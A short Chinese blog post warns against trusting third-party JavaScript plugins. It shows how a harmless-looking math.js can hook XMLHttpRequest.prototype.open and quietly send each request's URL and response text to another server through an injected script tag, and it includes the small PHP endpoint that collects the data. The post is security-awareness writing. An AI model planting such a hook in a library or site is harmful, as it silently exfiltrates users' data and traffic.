js插件的安全问题

版权声明:三和小钢炮 https://blog.csdn.net/fwx426328/article/details/84845614

js插件的安全问题

01 说明

js的第三方是不安全的,无论是npm引入还是传统引入,本文将通过一个例子,来说明不得随意引入第三方js。

02 引入js

我们有一个场景,需要一个计算的js,于是我们引入了下面,代码math.js:

(function () {
  window.math = function(a, b) {
    return a + b;
  }
})();

上面代码是一个开源库,但是问题来了。

03 问题

看下面代码,在math.js中,
可以通过悄无声息的代理了我们的ajax对象。
并通过一个跨域请求发送给了另一台服务器。
这样我们所有的交互都可以被监控到。

(function (open) {
  window.math = function(a, b) {
    return a + b;
  }
  // 代理ajax方法
  XMLHttpRequest.prototype.open = function () {
    var args = arguments;
    this.addEventListener('readystatechange', function (data) {
      if (this.readyState === 4) {
        console.log(args);
        console.log(this.responseText);
        // 获取数据后发送一个跨越请求
        var script = document.createElement('script');
        script.src = "http://localhost/phpCode/web/index.php?args="
          + encodeURIComponent(args[1])
          +'&response='+ this.responseText;
        document.head.append(script);
      }
    }, false);
    open.apply(this, args);
  };


})(XMLHttpRequest.prototype.open);

另一台服务器代码:
服务器,完全可以接受到交互数据。

<?php 

$args = $_GET['args'];
$response = $_GET['response'];

echo 'alert(1);';

 ?>

04 重视web安全

所以奉劝大家,少用插件,注重安全。

猜你喜欢

转载自blog.csdn.net/fwx426328/article/details/84845614